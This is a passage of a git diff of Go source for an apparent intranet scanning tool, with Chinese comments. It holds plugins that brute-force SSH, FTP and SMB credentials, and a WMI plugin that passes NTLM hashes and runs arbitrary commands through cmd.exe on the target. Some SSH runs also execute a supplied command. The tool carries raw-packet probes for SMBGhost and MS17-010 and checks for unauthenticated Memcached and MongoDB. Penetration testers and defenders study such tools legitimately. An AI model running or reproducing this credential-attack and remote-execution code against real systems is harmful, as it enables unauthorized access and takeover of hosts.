errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, currentUser, currentPass, err)
Common.LogError(errlog)
tmperr = err
}
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查全局超时
if scanCtx.Err() != nil {
return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err())
}
// 如果指定了SSH密钥,则不进行密码尝试
if Common.SshKey != "" {
return err
}
}
}
return tmperr
}
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
// 准备认证方法
var auth []ssh.AuthMethod
if Common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKey)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
auth = []ssh.AuthMethod{ssh.Password(pass)}
}
config := &ssh.ClientConfig{
User: user,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(Common.Timeout) * time.Second,
}
// 使用带超时的 Dial
conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports))
if err != nil {
return false, err
}
defer conn.Close()
// 设置连接超时
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
}
// 创建一个新的 context 用于 SSH 握手
sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer sshCancel()
// 使用 channel 来控制 SSH 握手的超时
sshDone := make(chan struct {
client *ssh.Client
err error
}, 1)
go func() {
sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
sshDone <- struct {
client *ssh.Client
err error
}{nil, err}
return
}
client := ssh.NewClient(sshConn, chans, reqs)
sshDone <- struct {
client *ssh.Client
err error
}{client, nil}
}()
// 等待 SSH 握手完成或超时
var client *ssh.Client
select {
case result := <-sshDone:
if result.err != nil {
return false, result.err
}
client = result.client
case <-sshCtx.Done():
return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err())
}
defer client.Close()
// 创建会话
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
flag = true
if Common.Command != "" {
// 执行命令的通道
cmdDone := make(chan struct {
output []byte
err error
}, 1)
go func() {
output, err := session.CombinedOutput(Common.Command)
select {
case cmdDone <- struct {
output []byte
err error
}{output, err}:
case <-ctx.Done():
}
}()
select {
case <-ctx.Done():
return true, fmt.Errorf("命令执行超时: %v", ctx.Err())
case result := <-cmdDone:
if result.err != nil {
return true, result.err
}
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(result.output)))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(result.output)))
}
}
} else {
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass))
}
}
return flag, nil
}
@@ -3,10 +3,9 @@ package Plugins
import (
"bytes"
"fmt"
"net"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
)
const (
@@ -95,33 +94,68 @@ const (
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.IsBrute {
return nil
}
// 执行实际的SMB Ghost漏洞扫描
err := SmbGhostScan(info)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return err
}
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error {
// 设置扫描参数
ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
defer conn.Close() // 确保连接最终被关闭
// 发送SMB协议探测数据包
if _, err = conn.Write([]byte(pkt)); err != nil {
return err
}
// 准备接收响应
buff := make([]byte, 1024)
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 读取响应数据
n, err := conn.Read(buff)
if err != nil || n == 0 {
return err
}
// 分析响应数据,检测是否存在漏洞
// 检查条件:
// 1. 响应包含"Public"字符串
// 2. 响应长度大于等于76字节
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
if bytes.Contains(buff[:n], []byte("Public")) &&
len(buff[:n]) >= 76 &&
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 发现漏洞,记录结果
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result)
}
return err
}
+156
View File
@@ -0,0 +1,156 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
// 全局变量
var (
ClientHost string // 客户端主机名
flag bool // 初始化标志
)
// init 初始化函数
func init() {
if flag {
return
}
// 获取主机名
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
// WmiExec 执行WMI远程命令
func WmiExec(info *Common.HostInfo) (tmperr error) {
// 如果是暴力破解模式则跳过
if Common.IsBrute {
return nil
}
starttime := time.Now().Unix()
// 遍历用户字典
for _, user := range Common.Userdict["smb"] {
PASS:
// 遍历密码字典
for _, pass := range Common.Passwords {
// 替换密码模板中的用户名
pass = strings.Replace(pass, "{user}", user, -1)
// 尝试WMI连接
flag, err := Wmiexec(info, user, pass, Common.Hash)
// 记录错误日志
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
Common.LogError(errlog)
if flag {
// 成功连接,记录结果
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
}
// 添加认证信息到结果
if Common.Hash != "" {
result += "hash: " + Common.Hash
} else {
result += pass
}
Common.LogSuccess(result)
return err
} else {
tmperr = err
// 检查错误是否需要终止
if Common.CheckErrs(err) {
return err
}
// 检查是否超时
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
// 如果使用NTLM Hash,则跳过密码循环
if len(Common.Hash) == 32 {
break PASS
}
}
}
return tmperr
}
// Wmiexec 包装WMI执行函数
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(Common.Timeout)
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
}
// WMIExec 执行WMI远程命令
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
// 初始化WMI配置
if cfgIn == nil {
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
if err1 != nil {
err = err1
return
}
cfgIn = &cfg
}
// 创建WMI执行器
execer := wmiexec.NewExecer(cfgIn)
// 设置目标绑定
err = execer.SetTargetBinding(binding)
if err != nil {
return
}
// 进行认证
err = execer.Auth()
if err != nil {
return
}
flag = true
// 如果有命令则执行
if command != "" {
// 使用cmd.exe执行命令
command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 检查RPC端口
if execer.TargetRPCPort == 0 {
err = errors.New("RPC端口为0,无法连接")
return
}
// 建立RPC连接
err = execer.RPCConnect()
if err != nil {
return
}
// 执行命令
err = execer.Exec(command)
if err != nil {
return
}
}
return
}
+323
View File
@@ -0,0 +1,323 @@
package Plugins
import (
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"golang.org/x/text/encoding/simplifiedchinese"
)
// WebTitle 获取Web标题并执行扫描
func WebTitle(info *Common.HostInfo) error {
// 如果是webpoc扫描模式,直接执行WebScan
if Common.Scantype == "webpoc" {
WebScan.WebScan(info)
return nil
}
// 获取网站标题信息
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == "打印机" {
return nil
}
}
// 根据配置决定是否执行漏洞扫描
if !Common.NoPoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
Common.LogError(errlog)
}
return err
}
// GOWebTitle 获取网站标题并处理URL
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
// 如果URL未指定,根据端口生成URL
if info.Url == "" {
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
// 处理未指定协议的URL
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
// 第一次获取URL
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
// 处理URL跳转
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
// 处理HTTP到HTTPS的升级
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
// 处理升级后的跳转
if strings.Contains(result, "://") {
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
if err != nil {
return
}
return
}
// geturl 获取URL响应内容和信息
// 参数:
// - info: 主机配置信息
// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https)
// - CheckData: 检查数据数组
//
// 返回:
// - error: 错误信息
// - string: 重定向URL或协议
// - []WebScan.CheckDatas: 更新后的检查数据
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
// 处理目标URL
Url := info.Url
if flag == 2 {
// 获取favicon.ico的URL
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
}
// 创建HTTP请求
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return err, "", CheckData
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
req.Header.Set("Connection", "close")
// 选择HTTP客户端
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect // 不跟随重定向
} else {
client = lib.Client // 跟随重定向
}
// 发送请求
resp, err := client.Do(req)
if err != nil {
return err, "https", CheckData
}
defer resp.Body.Close()
// 读取响应内容
body, err := getRespBody(resp)
if err != nil {
return err, "https", CheckData
}
// 保存检查数据
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
// 处理非favicon请求
var reurl string
if flag != 2 {
// 处理编码
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
// 获取页面信息
title := gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
// 处理重定向
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
}
// 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 重定向地址: %s", reurl)
}
Common.LogSuccess(result)
}
// 返回结果
if reurl != "" {
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
return nil, "https", CheckData
}
return nil, "", CheckData
}
// getRespBody 读取HTTP响应体内容
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
// 处理gzip压缩的响应
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
// 循环读取解压内容
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
// 直接读取未压缩的响应
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
body = raw
}
return body, nil
}
// gettitle 从HTML内容中提取网页标题
func gettitle(body []byte) (title string) {
// 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
// 清理标题内容
title = strings.TrimSpace(title) // 去除首尾空格
title = strings.Replace(title, "\n", "", -1) // 去除换行
title = strings.Replace(title, "\r", "", -1) // 去除回车
title = strings.Replace(title, "&nbsp;", " ", -1) // 替换HTML空格
// 截断过长的标题
if len(title) > 100 {
title = title[:100]
}
// 处理空标题
if title == "" {
title = "\"\"" // 空标题显示为双引号
}
} else {
title = "无标题" // 没有找到title标签
}
return
}
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
// 根据标准端口快速判断协议
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
}
// 尝试建立TCP连接
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
// 尝试TLS握手
conn := tls.Client(socksconn, &tls.Config{
MinVersion: tls.VersionTLS10,
InsecureSkipVerify: true,
})
// 确保连接关闭
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
Common.LogError(err)
}
}()
conn.Close()
}
}()
// 设置连接超时
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
// 执行TLS握手
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
return protocol
}
-18
View File
@@ -1,18 +0,0 @@
package Plugins
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"139": NetBIOS,
"445": SmbScan,
"1433": MssqlScan,
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003": WebTitle,
}
-81
View File
@@ -1,81 +0,0 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return err
}
defer conn.Close()
_, err = conn.Write(bufferV1)
if err != nil {
return err
}
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
}
err = read(text, info.Host)
return err
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "NetInfo:\n[*]" + host
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
}
result += "\n [->]" + string(host)
}
common.LogSuccess(result)
return nil
}
-76
View File
@@ -1,76 +0,0 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
}
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result)
}
}
return flag, err
}
-186
View File
@@ -1,186 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"golang.org/x/net/icmp"
"log"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var AliveHosts []string
var SysInfo = GetSys()
type SystemInfo struct {
OS string
HostName string
Groupid string
Userid string
Username string
}
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
} else {
name = "none"
}
u, err := user.Current()
if err == nil {
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
} else {
sysinfo.Groupid = "1"
sysinfo.Userid = "1"
sysinfo.Username = name
}
return sysinfo
}
func IcmpCheck(hostslist []string) {
TmpHosts := make(map[string]struct{})
var chanHosts = make(chan string)
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
endflag := false
if err != nil {
log.Fatal(err)
}
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
chanHosts <- sourceIP.String()
}
}
}()
go func() {
for ip := range chanHosts {
if _, ok := TmpHosts[ip]; !ok {
TmpHosts[ip] = struct{}{}
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
AliveHosts = append(AliveHosts, ip)
}
}
}()
for _, host := range hostslist {
write(host, conn)
}
if len(hostslist) > 255 {
time.Sleep(6 * time.Second)
} else {
time.Sleep(3 * time.Second)
}
endflag = true
close(chanHosts)
conn.Close()
}
func write(ip string, conn *icmp.PacketConn) {
dst, _ := net.ResolveIPAddr("ip", ip)
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
conn.WriteTo(IcmpByte, dst)
}
func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd
if SysInfo.OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
return false
}
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") {
return true
} else {
return false
}
}
}
func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host, bsenv) {
mutex.Lock()
fmt.Printf("(Ping) Target '%s' is alive\n", host)
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
}
func ICMPRun(hostslist []string, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
}
return AliveHosts
}
-35
View File
@@ -1,35 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
client.Close()
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
}
}
}
return err
}
-58
View File
@@ -1,58 +0,0 @@
package Plugins
import (
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write(senddata)
if err != nil {
return flag, err
}
buf := make([]byte, 1024)
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(getlogdata)
if err != nil {
return flag, err
}
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
common.LogSuccess(result)
}
}
return flag, err
}
-155
View File
@@ -1,155 +0,0 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func MS17010(info *common.HostInfo) error {
err := MS17010Scan(info)
if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
common.LogError(errlog)
}
return err
}
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
}
reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
} else {
